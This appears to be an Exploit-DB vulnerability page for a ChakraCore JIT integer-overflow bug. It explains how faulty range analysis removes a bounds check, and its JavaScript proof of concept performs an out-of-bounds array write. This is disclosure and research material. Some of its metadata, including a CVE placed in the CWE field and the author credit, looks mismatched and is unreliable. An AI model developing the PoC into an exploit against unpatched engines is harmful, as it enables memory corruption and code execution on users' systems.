header-logo
Suggest Exploit
vendor:
ChakraCore
by:
Kazuho Oku
7.8
CVSS
HIGH
Integer Overflow
190
CWE
Product Name: ChakraCore
Affected Version From: ChakraCore 1.11.13
Affected Version To: ChakraCore 1.11.15
Patch Exists: YES
Related CWE: CVE-2020-0986
CPE: a:microsoft:chakracore:1.11.13
Other Scripts: N/A
Platforms Tested: Windows
2020

Integer Overflow in Chakra JIT Optimization Process

Chakra, the JavaScript engine used in Microsoft Edge, is vulnerable to an integer overflow in the JIT optimization process. This vulnerability occurs when an integer overflow continuously occurs in the JITed code or it's known that a value doesn't fit in an int at compile time. In such cases, Chakra considers the value to be a float, which can lead to an integer overflow. This can be exploited to cause a denial of service or potentially execute arbitrary code.

Mitigation:

Microsoft has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

/*
Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
            // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
            // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
            // also track that it is equal to (the value of 'b') - 2.

This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.

function opt(j) {
    let k = j + 0x7ffffff0;
    // (a)
}


But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.

For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.

function opt(j) {
    if (j <= 100)
        return;

    let k = j + 0x7ffffff0;
}


Now, let's take a look at the PoC.

function opt() {
    let j = 0;
    for (let i = 0; i < 2; i++) {
        // (a)
        j += 0x100000;
        // (b)
        let k = j + 0x7ffffff0; // (c)
    }
}

Note that all loops are analyzed twice in the JIT optimization process.

Here's what happens in the analyses.

In the first analysis:
At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.

In the second analysis:
At (a), Chakra considers "j" to be in the range of 0 to 15.
At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.


In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.

However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.

PoC demonstrating OOB write:
*/
function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();

// At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.